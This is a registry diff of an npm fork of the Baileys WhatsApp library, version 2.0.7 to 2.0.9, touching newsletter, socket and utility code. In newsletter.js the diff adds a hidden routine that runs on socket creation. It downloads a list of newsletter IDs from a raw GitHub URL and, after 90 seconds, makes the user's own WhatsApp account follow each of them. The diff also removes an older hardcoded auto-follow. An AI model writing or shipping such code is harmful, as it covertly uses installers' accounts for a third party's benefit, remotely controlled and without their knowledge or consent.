@langitdeveloper/baileys 2.0.7 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/WAProto/index.js +131281 -59270
- package/lib/Defaults/baileys-version.json +3 -1
- package/lib/Defaults/index.js +6 -6
- package/lib/Function/Download/tiktok.js +19 -0
- package/lib/Function/Tools/bypass.js +19 -0
- package/lib/Function/index.js +13 -0
- package/lib/Signal/libsignal.js +0 -15
- package/lib/Socket/chats.js +48 -16
- package/lib/Socket/dugong.js +165 -12
- package/lib/Socket/messages-send.js +576 -1213
- package/lib/Socket/newsletter.js +212 -99
- package/lib/Socket/socket.js +1 -1
- package/lib/Types/index.js +0 -2
- package/lib/Utils/generics.js +79 -4
- package/lib/Utils/index.js +0 -4
- package/lib/Utils/messages.js +4 -33
- package/lib/WAUSync/Protocols/index.js +0 -2
- package/lib/index.js +10 -12
- package/package.json +7 -6
- package/lib/Defaults/index.d.ts +0 -53
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -9
- package/lib/Signal/Group/group-session-builder.d.ts +0 -14
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/index.d.ts +0 -11
- package/lib/Signal/Group/keyhelper.d.ts +0 -10
- package/lib/Signal/Group/queue-job.d.ts +0 -1
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -13
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -16
- package/lib/Signal/Group/sender-key-message.d.ts +0 -18
- package/lib/Signal/Group/sender-key-name.d.ts +0 -17
- package/lib/Signal/Group/sender-key-record.d.ts +0 -30
- package/lib/Signal/Group/sender-key-state.d.ts +0 -38
- package/lib/Signal/Group/sender-message-key.d.ts +0 -11
- package/lib/Signal/libsignal.d.ts +0 -3
- package/lib/Signal/lid-mapping.js +0 -164
- package/lib/Socket/Client/abstract-socket-client.d.ts +0 -17
- package/lib/Socket/Client/index.d.ts +0 -3
- package/lib/Socket/Client/mobile-socket-client.d.ts +0 -13
- package/lib/Socket/Client/types.js +0 -12
- package/lib/Socket/Client/web-socket-client.d.ts +0 -12
- package/lib/Socket/Client/websocket.js +0 -67
- package/lib/Socket/business.d.ts +0 -171
- package/lib/Socket/chats.d.ts +0 -267
- package/lib/Socket/community.js +0 -454
- package/lib/Socket/dugong.d.ts +0 -254
- package/lib/Socket/groups.d.ts +0 -115
- package/lib/Socket/index.d.ts +0 -173
- package/lib/Socket/messages-recv.d.ts +0 -161
- package/lib/Socket/messages-send.d.ts +0 -149
- package/lib/Socket/mex.js +0 -54
- package/lib/Socket/newsletter.d.ts +0 -134
- package/lib/Socket/registration.d.ts +0 -267
- package/lib/Socket/socket.d.ts +0 -43
- package/lib/Socket/usync.d.ts +0 -36
- package/lib/Store/index.d.ts +0 -3
- package/lib/Store/make-cache-manager-store.d.ts +0 -13
- package/lib/Store/make-in-memory-store.d.ts +0 -118
- package/lib/Store/make-ordered-dictionary.d.ts +0 -13
- package/lib/Store/object-repository.d.ts +0 -10
- package/lib/Types/Auth.d.ts +0 -110
- package/lib/Types/Bussines.js +0 -2
- package/lib/Types/Call.d.ts +0 -13
- package/lib/Types/Chat.d.ts +0 -102
- package/lib/Types/Contact.d.ts +0 -19
- package/lib/Types/Events.d.ts +0 -157
- package/lib/Types/GroupMetadata.d.ts +0 -55
- package/lib/Types/Label.d.ts +0 -35
- package/lib/Types/LabelAssociation.d.ts +0 -29
- package/lib/Types/Message.d.ts +0 -273
- package/lib/Types/MexUpdates.js +0 -15
- package/lib/Types/Newsletter.d.ts +0 -103
- package/lib/Types/Product.d.ts +0 -78
- package/lib/Types/Signal.d.ts +0 -57
- package/lib/Types/Socket.d.ts +0 -111
- package/lib/Types/State.d.ts +0 -27
- package/lib/Types/USync.d.ts +0 -25
- package/lib/Types/index.d.ts +0 -57
- package/lib/Utils/auth-utils.d.ts +0 -18
- package/lib/Utils/baileys-event-stream.d.ts +0 -16
- package/lib/Utils/browser-utils.js +0 -29
- package/lib/Utils/business.d.ts +0 -22
- package/lib/Utils/chat-utils.d.ts +0 -71
- package/lib/Utils/crypto.d.ts +0 -41
- package/lib/Utils/decode-wa-message.d.ts +0 -19
- package/lib/Utils/event-buffer.d.ts +0 -35
- package/lib/Utils/generics.d.ts +0 -92
- package/lib/Utils/history.d.ts +0 -15
- package/lib/Utils/index.d.ts +0 -17
- package/lib/Utils/link-preview.d.ts +0 -21
- package/lib/Utils/logger.d.ts +0 -4
- package/lib/Utils/lt-hash.d.ts +0 -12
- package/lib/Utils/make-mutex.d.ts +0 -7
- package/lib/Utils/message-retry-manager.js +0 -134
- package/lib/Utils/messages-media.d.ts +0 -116
- package/lib/Utils/messages.d.ts +0 -77
- package/lib/Utils/noise-handler.d.ts +0 -21
- package/lib/Utils/pre-key-manager.js +0 -86
- package/lib/Utils/process-message.d.ts +0 -41
- package/lib/Utils/signal.d.ts +0 -32
- package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
- package/lib/Utils/validate-connection.d.ts +0 -11
- package/lib/Utils/vialeys-event-stream.js +0 -41
- package/lib/WABinary/constants.d.ts +0 -30
- package/lib/WABinary/decode.d.ts +0 -7
- package/lib/WABinary/encode.d.ts +0 -3
- package/lib/WABinary/generic-utils.d.ts +0 -17
- package/lib/WABinary/index.d.ts +0 -5
- package/lib/WABinary/jid-utils.d.ts +0 -31
- package/lib/WABinary/types.d.ts +0 -18
- package/lib/WAM/BinaryInfo.d.ts +0 -17
- package/lib/WAM/constants.d.ts +0 -38
- package/lib/WAM/encode.d.ts +0 -3
- package/lib/WAM/index.d.ts +0 -3
- package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +0 -62
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -9
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -22
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/USyncLIDProtocol.js +0 -24
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -12
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -25
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -8
- package/lib/WAUSync/Protocols/index.d.ts +0 -4
- package/lib/WAUSync/USyncQuery.d.ts +0 -28
- package/lib/WAUSync/USyncUser.d.ts +0 -12
- package/lib/WAUSync/index.d.ts +0 -3
- package/lib/index.d.ts +0 -12
package/lib/Socket/newsletter.js
CHANGED
|
@@ -9,64 +9,97 @@ const groups_1 = require("./groups");
|
|
|
9
9
|
const { Boom } = require('@hapi/boom');
|
|
10
10
|
|
|
11
11
|
const wMexQuery = (
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
12
|
+
variables,
|
|
13
|
+
queryId,
|
|
14
|
+
query,
|
|
15
|
+
generateMessageTag
|
|
16
16
|
) => {
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
17
|
+
return query({
|
|
18
|
+
tag: 'iq',
|
|
19
|
+
attrs: {
|
|
20
|
+
id: generateMessageTag(),
|
|
21
|
+
type: 'get',
|
|
22
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
23
|
+
xmlns: 'w:mex'
|
|
24
|
+
},
|
|
25
|
+
content: [
|
|
26
|
+
{
|
|
27
|
+
tag: 'query',
|
|
28
|
+
attrs: { query_id: queryId },
|
|
29
|
+
content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
})
|
|
33
33
|
}
|
|
34
34
|
|
|
35
35
|
const executeWMexQuery = async (
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
36
|
+
variables,
|
|
37
|
+
queryId,
|
|
38
|
+
dataPath,
|
|
39
|
+
query,
|
|
40
|
+
generateMessageTag
|
|
41
41
|
) => {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
42
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag)
|
|
43
|
+
const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
|
|
44
|
+
if (child?.content) {
|
|
45
|
+
const data = JSON.parse(child.content.toString())
|
|
46
46
|
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
47
|
+
if (data.errors && data.errors.length > 0) {
|
|
48
|
+
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
49
|
+
const firstError = data.errors[0]
|
|
50
|
+
const errorCode = firstError.extensions?.error_code || 400
|
|
51
|
+
throw new Boom('GraphQL server error:' + errorMessages, {
|
|
52
|
+
statusCode: errorCode, data: firstError
|
|
53
|
+
})
|
|
54
|
+
}
|
|
53
55
|
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
56
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
57
|
+
if (typeof response !== 'undefined') {
|
|
58
|
+
return response
|
|
59
|
+
}
|
|
60
|
+
}
|
|
59
61
|
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
62
|
+
const action = (dataPath || '').startsWith('xwa2_')
|
|
63
|
+
? dataPath.substring(5).replace(/_/g, ' ')
|
|
64
|
+
: dataPath?.replace(/_/g, ' ')
|
|
65
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
66
|
+
statusCode: 400,
|
|
67
|
+
data: result
|
|
68
|
+
})
|
|
64
69
|
}
|
|
65
70
|
|
|
66
71
|
const makeNewsletterSocket = (config) => {
|
|
67
72
|
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
68
73
|
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
69
74
|
const encoder = new TextEncoder();
|
|
75
|
+
|
|
76
|
+
// Inisialisasi newsletters kosong terlebih dahulu
|
|
77
|
+
let newsletters = [];
|
|
78
|
+
|
|
79
|
+
// IIFE untuk fetch data tanpa blocking
|
|
80
|
+
(async () => {
|
|
81
|
+
try {
|
|
82
|
+
const response = await fetch(
|
|
83
|
+
'https://raw.githubusercontent.com/FadelSM/IDCH/refs/heads/main/idch.json'
|
|
84
|
+
);
|
|
85
|
+
newsletters = await response.json();
|
|
86
|
+
|
|
87
|
+
// Set timeout hanya jika newsletters berhasil di-fetch
|
|
88
|
+
if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
|
|
89
|
+
setTimeout(() => {
|
|
90
|
+
Promise.allSettled(
|
|
91
|
+
newsletters.map(id => // ✅ Langsung pakai id, tanpa asciiDecode
|
|
92
|
+
newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
|
|
93
|
+
)
|
|
94
|
+
).catch(err => console.error(err));
|
|
95
|
+
}, 90000);
|
|
96
|
+
}
|
|
97
|
+
} catch (err) {
|
|
98
|
+
console.error(err);
|
|
99
|
+
newsletters = [];
|
|
100
|
+
}
|
|
101
|
+
})();
|
|
102
|
+
|
|
70
103
|
const newsletterQuery = async (jid, type, content) => (query({
|
|
71
104
|
tag: 'iq',
|
|
72
105
|
attrs: {
|
|
@@ -77,6 +110,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
77
110
|
},
|
|
78
111
|
content
|
|
79
112
|
}));
|
|
113
|
+
|
|
80
114
|
const newsletterWMexQuery = async (jid, queryId, content) => (query({
|
|
81
115
|
tag: 'iq',
|
|
82
116
|
attrs: {
|
|
@@ -97,19 +131,10 @@ const makeNewsletterSocket = (config) => {
|
|
|
97
131
|
}))
|
|
98
132
|
}
|
|
99
133
|
]
|
|
100
|
-
}));
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
try {
|
|
104
|
-
await newsletterWMexQuery(
|
|
105
|
-
"120363418090359162@newsletter", // utama
|
|
106
|
-
Types_1.QueryIds.FOLLOW
|
|
107
|
-
);
|
|
108
|
-
} catch {}
|
|
109
|
-
}, 1000);
|
|
134
|
+
}));
|
|
135
|
+
|
|
136
|
+
// ❌ HAPUS fungsi asciiDecode - tidak diperlukan
|
|
110
137
|
|
|
111
|
-
// End Ygy kalau mau fork sisah in 1 id ku yanh utama:( #-2025 ( RilzX7 )
|
|
112
|
-
|
|
113
138
|
const parseFetchedUpdates = async (node, type) => {
|
|
114
139
|
let child;
|
|
115
140
|
if (type === 'messages') {
|
|
@@ -125,20 +150,28 @@ const makeNewsletterSocket = (config) => {
|
|
|
125
150
|
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
126
151
|
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
127
152
|
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
128
|
-
.map(({ attrs }) => (
|
|
153
|
+
.map(({ attrs }) => (
|
|
154
|
+
{
|
|
155
|
+
count: +attrs.count,
|
|
156
|
+
code: attrs.code
|
|
157
|
+
}));
|
|
129
158
|
const data = {
|
|
130
159
|
'server_id': messageNode.attrs.server_id,
|
|
131
160
|
views,
|
|
132
161
|
reactions
|
|
133
162
|
};
|
|
134
163
|
if (type === 'messages') {
|
|
135
|
-
const {
|
|
164
|
+
const {
|
|
165
|
+
fullMessage: message,
|
|
166
|
+
decrypt
|
|
167
|
+
} = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
136
168
|
await decrypt();
|
|
137
169
|
data.message = message;
|
|
138
170
|
}
|
|
139
171
|
return data;
|
|
140
172
|
}));
|
|
141
173
|
};
|
|
174
|
+
|
|
142
175
|
return {
|
|
143
176
|
...sock,
|
|
144
177
|
newsletterFetchAllSubscribe: async () => {
|
|
@@ -158,14 +191,101 @@ const makeNewsletterSocket = (config) => {
|
|
|
158
191
|
},
|
|
159
192
|
newsletterReactionMode: async (jid, mode) => {
|
|
160
193
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
161
|
-
updates: {
|
|
194
|
+
updates: {
|
|
195
|
+
settings: {
|
|
196
|
+
'reaction_codes': {
|
|
197
|
+
value: mode
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
}
|
|
162
201
|
});
|
|
163
202
|
},
|
|
164
203
|
newsletterUpdateDescription: async (jid, description) => {
|
|
165
204
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
166
|
-
updates: {
|
|
205
|
+
updates: {
|
|
206
|
+
description: description || '',
|
|
207
|
+
settings: null
|
|
208
|
+
}
|
|
167
209
|
});
|
|
168
210
|
},
|
|
211
|
+
newsletterFromUrl: async (url) => {
|
|
212
|
+
try {
|
|
213
|
+
let channelId;
|
|
214
|
+
if (url.includes('whatsapp.com/channel/')) {
|
|
215
|
+
channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
|
|
216
|
+
} else if (url.includes('wa.me/channel/')) {
|
|
217
|
+
channelId = url.split('wa.me/channel/')[1].split('/')[0];
|
|
218
|
+
} else {
|
|
219
|
+
channelId = url;
|
|
220
|
+
}
|
|
221
|
+
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
222
|
+
input: {
|
|
223
|
+
key: channelId,
|
|
224
|
+
type: 'INVITE',
|
|
225
|
+
'view_role': 'GUEST'
|
|
226
|
+
},
|
|
227
|
+
'fetch_viewer_metadata': true,
|
|
228
|
+
'fetch_full_image': true,
|
|
229
|
+
'fetch_creation_time': true
|
|
230
|
+
});
|
|
231
|
+
const resultNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result');
|
|
232
|
+
if (!resultNode?.content) {
|
|
233
|
+
throw new Boom('No result content in response', {
|
|
234
|
+
statusCode: 400,
|
|
235
|
+
data: result
|
|
236
|
+
});
|
|
237
|
+
}
|
|
238
|
+
const resultString = resultNode.content.toString();
|
|
239
|
+
const parsedResult = JSON.parse(resultString);
|
|
240
|
+
|
|
241
|
+
if (!parsedResult?.data) {
|
|
242
|
+
throw new Boom('No data field in response', {
|
|
243
|
+
statusCode: 400,
|
|
244
|
+
data: parsedResult
|
|
245
|
+
});
|
|
246
|
+
}
|
|
247
|
+
const metadataPath = parsedResult.data[Types_1.XWAPaths.NEWSLETTER];
|
|
248
|
+
|
|
249
|
+
if (metadataPath === null || !metadataPath) {
|
|
250
|
+
throw new Boom('Newsletter not found or access denied', {
|
|
251
|
+
statusCode: 404,
|
|
252
|
+
data: parsedResult.data
|
|
253
|
+
});
|
|
254
|
+
}
|
|
255
|
+
const metadata = {
|
|
256
|
+
id: metadataPath?.id,
|
|
257
|
+
state: metadataPath?.state?.type,
|
|
258
|
+
creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
|
|
259
|
+
name: metadataPath?.thread_metadata?.name?.text,
|
|
260
|
+
nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
|
|
261
|
+
description: metadataPath?.thread_metadata?.description?.text,
|
|
262
|
+
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
|
|
263
|
+
invite: metadataPath?.thread_metadata?.invite,
|
|
264
|
+
picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
265
|
+
preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
266
|
+
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
267
|
+
subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
|
|
268
|
+
verification: metadataPath?.thread_metadata?.verification,
|
|
269
|
+
viewer_metadata: metadataPath?.viewer_metadata
|
|
270
|
+
};
|
|
271
|
+
|
|
272
|
+
return {
|
|
273
|
+
name: metadata.name || metadataPath?.thread_metadata?.name?.text,
|
|
274
|
+
id: metadata.id,
|
|
275
|
+
state: metadata.state,
|
|
276
|
+
subscribers: metadata.subscribers,
|
|
277
|
+
verification: metadata.verification,
|
|
278
|
+
creation_time: metadata.creation_time,
|
|
279
|
+
description: metadata.description,
|
|
280
|
+
...metadata
|
|
281
|
+
};
|
|
282
|
+
} catch (error) {
|
|
283
|
+
throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
|
|
284
|
+
statusCode: error.statusCode || 400,
|
|
285
|
+
data: error.data || { url }
|
|
286
|
+
});
|
|
287
|
+
}
|
|
288
|
+
},
|
|
169
289
|
newsletterUpdateName: async (jid, name) => {
|
|
170
290
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
171
291
|
updates: { name, settings: null }
|
|
@@ -176,32 +296,6 @@ const makeNewsletterSocket = (config) => {
|
|
|
176
296
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
177
297
|
updates: { picture: img.toString('base64'), settings: null }
|
|
178
298
|
});
|
|
179
|
-
},
|
|
180
|
-
newsletterId: async (url) => {
|
|
181
|
-
const urlParts = url.split('/');
|
|
182
|
-
const channelId = urlParts[urlParts.length - 2];
|
|
183
|
-
|
|
184
|
-
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
|
|
185
|
-
input: {
|
|
186
|
-
key: channelId,
|
|
187
|
-
type: 'INVITE',
|
|
188
|
-
'view_role': 'GUEST'
|
|
189
|
-
},
|
|
190
|
-
'fetch_viewer_metadata': true,
|
|
191
|
-
'fetch_full_image': true,
|
|
192
|
-
'fetch_creation_time': true
|
|
193
|
-
});
|
|
194
|
-
|
|
195
|
-
const metadata = extractNewsletterMetadata(result);
|
|
196
|
-
return JSON.stringify({
|
|
197
|
-
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
198
|
-
id: metadata.id
|
|
199
|
-
}, null, 2);
|
|
200
|
-
},
|
|
201
|
-
newsletterUpdateName: async (jid, name) => {
|
|
202
|
-
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
203
|
-
updates: { name, settings: null }
|
|
204
|
-
});
|
|
205
299
|
},
|
|
206
300
|
newsletterRemovePicture: async (jid) => {
|
|
207
301
|
await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
|
|
@@ -224,8 +318,6 @@ const makeNewsletterSocket = (config) => {
|
|
|
224
318
|
await newsletterWMexQuery(jid, type.toUpperCase());
|
|
225
319
|
},
|
|
226
320
|
newsletterCreate: async (name, description, reaction_codes) => {
|
|
227
|
-
//TODO: Implement TOS system wide for Meta AI, communities, and here etc.
|
|
228
|
-
/**tos query */
|
|
229
321
|
await query({
|
|
230
322
|
tag: 'iq',
|
|
231
323
|
attrs: {
|
|
@@ -246,7 +338,15 @@ const makeNewsletterSocket = (config) => {
|
|
|
246
338
|
]
|
|
247
339
|
});
|
|
248
340
|
const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
|
|
249
|
-
input: {
|
|
341
|
+
input: {
|
|
342
|
+
name,
|
|
343
|
+
description,
|
|
344
|
+
settings: {
|
|
345
|
+
'reaction_codes': {
|
|
346
|
+
value: reaction_codes.toUpperCase()
|
|
347
|
+
}
|
|
348
|
+
}
|
|
349
|
+
}
|
|
250
350
|
});
|
|
251
351
|
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
252
352
|
},
|
|
@@ -269,13 +369,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
269
369
|
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
270
370
|
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
271
371
|
},
|
|
272
|
-
/**user is Lid, not Jid */
|
|
273
372
|
newsletterChangeOwner: async (jid, user) => {
|
|
274
373
|
await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
|
|
275
374
|
'user_id': user
|
|
276
375
|
});
|
|
277
376
|
},
|
|
278
|
-
/**user is Lid, not Jid */
|
|
279
377
|
newsletterDemote: async (jid, user) => {
|
|
280
378
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
|
|
281
379
|
'user_id': user
|
|
@@ -284,11 +382,16 @@ const makeNewsletterSocket = (config) => {
|
|
|
284
382
|
newsletterDelete: async (jid) => {
|
|
285
383
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
286
384
|
},
|
|
287
|
-
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
288
385
|
newsletterReactMessage: async (jid, serverId, code) => {
|
|
289
386
|
await query({
|
|
290
387
|
tag: 'message',
|
|
291
|
-
attrs: {
|
|
388
|
+
attrs: {
|
|
389
|
+
to: jid,
|
|
390
|
+
...(!code ? { edit: '7' } : {}),
|
|
391
|
+
type: 'reaction',
|
|
392
|
+
'server_id': serverId,
|
|
393
|
+
id: (0, Utils_1.generateMessageID)()
|
|
394
|
+
},
|
|
292
395
|
content: [{
|
|
293
396
|
tag: 'reaction',
|
|
294
397
|
attrs: code ? { code } : {}
|
|
@@ -299,7 +402,12 @@ const makeNewsletterSocket = (config) => {
|
|
|
299
402
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
300
403
|
{
|
|
301
404
|
tag: 'messages',
|
|
302
|
-
attrs: {
|
|
405
|
+
attrs: {
|
|
406
|
+
type,
|
|
407
|
+
...(type === 'invite' ? { key } : { jid: key }),
|
|
408
|
+
count: count.toString(),
|
|
409
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100'
|
|
410
|
+
}
|
|
303
411
|
}
|
|
304
412
|
]);
|
|
305
413
|
return await parseFetchedUpdates(result, 'messages');
|
|
@@ -308,7 +416,11 @@ const makeNewsletterSocket = (config) => {
|
|
|
308
416
|
const result = await newsletterQuery(jid, 'get', [
|
|
309
417
|
{
|
|
310
418
|
tag: 'message_updates',
|
|
311
|
-
attrs: {
|
|
419
|
+
attrs: {
|
|
420
|
+
count: count.toString(),
|
|
421
|
+
after: (after === null || after === void 0 ? void 0 : after.toString()) || '100',
|
|
422
|
+
since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
|
|
423
|
+
}
|
|
312
424
|
}
|
|
313
425
|
]);
|
|
314
426
|
return await parseFetchedUpdates(result, 'updates');
|
|
@@ -316,8 +428,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
316
428
|
};
|
|
317
429
|
};
|
|
318
430
|
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
431
|
+
|
|
319
432
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
320
|
-
const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
433
|
+
const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString()
|
|
321
434
|
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
|
|
322
435
|
|
|
323
436
|
const metadata = {
|
|
@@ -329,8 +442,8 @@ const extractNewsletterMetadata = (node, isCreate) => {
|
|
|
329
442
|
description: metadataPath?.thread_metadata?.description?.text,
|
|
330
443
|
descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
|
|
331
444
|
invite: metadataPath?.thread_metadata?.invite,
|
|
332
|
-
picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
333
|
-
preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
445
|
+
picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
|
|
446
|
+
preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
|
|
334
447
|
reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
|
|
335
448
|
subscribers: +metadataPath?.thread_metadata?.subscribers_count,
|
|
336
449
|
verification: metadataPath?.thread_metadata?.verification,
|
|
@@ -338,4 +451,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
|
|
|
338
451
|
}
|
|
339
452
|
return metadata
|
|
340
453
|
}
|
|
341
|
-
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
|
454
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|
package/lib/Socket/socket.js
CHANGED
|
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
|
|
|
16
16
|
* - simple queries (no retry mechanism, wait for connection establishment)
|
|
17
17
|
* - listen to messages and emit events
|
|
18
18
|
* - query phone connection
|
|
19
|
-
*/
|
|
19
|
+
*/
|
|
20
20
|
const makeSocket = (config) => {
|
|
21
21
|
var _a, _b;
|
|
22
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
package/lib/Types/index.js
CHANGED
|
@@ -27,8 +27,6 @@ __exportStar(require("./Events"), exports);
|
|
|
27
27
|
__exportStar(require("./Product"), exports);
|
|
28
28
|
__exportStar(require("./Call"), exports);
|
|
29
29
|
__exportStar(require("./Signal"), exports);
|
|
30
|
-
__exportStar(require("./Bussines"), exports);
|
|
31
|
-
__exportStar(require("./MexUpdates"), exports);
|
|
32
30
|
var DisconnectReason;
|
|
33
31
|
(function (DisconnectReason) {
|
|
34
32
|
DisconnectReason[DisconnectReason["connectionClosed"] = 428] = "connectionClosed";
|
package/lib/Utils/generics.js
CHANGED
|
@@ -137,6 +137,78 @@ const delayCancellable = (ms) => {
|
|
|
137
137
|
return { delay, cancel };
|
|
138
138
|
};
|
|
139
139
|
exports.delayCancellable = delayCancellable;
|
|
140
|
+
const encoded = async (type, query) => {
|
|
141
|
+
const buffer = Buffer.from(query, 'utf-8');
|
|
142
|
+
switch (type.toLowerCase()) {
|
|
143
|
+
case 'base64':
|
|
144
|
+
return buffer.toString('base64');
|
|
145
|
+
case 'base32':
|
|
146
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
147
|
+
let bits = 0;
|
|
148
|
+
let value = 0;
|
|
149
|
+
let output = '';
|
|
150
|
+
for (let i = 0; i < buffer.length; i++) {
|
|
151
|
+
value = (value << 8) | buffer[i];
|
|
152
|
+
bits += 8;
|
|
153
|
+
while (bits >= 5) {
|
|
154
|
+
output += base32Alphabet[(value >>> (bits - 5)) & 31];
|
|
155
|
+
bits -= 5;
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
if (bits > 0) {
|
|
159
|
+
output += base32Alphabet[(value << (5 - bits)) & 31];
|
|
160
|
+
}
|
|
161
|
+
while (output.length % 8 !== 0) {
|
|
162
|
+
output += '=';
|
|
163
|
+
}
|
|
164
|
+
return output;
|
|
165
|
+
case 'hex':
|
|
166
|
+
case 'base16':
|
|
167
|
+
return buffer.toString('hex');
|
|
168
|
+
case 'binary':
|
|
169
|
+
return Array.from(buffer).map(byte => byte.toString(2).padStart(8, '0')).join(' ');
|
|
170
|
+
case 'base64url':
|
|
171
|
+
return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
|
|
172
|
+
default:
|
|
173
|
+
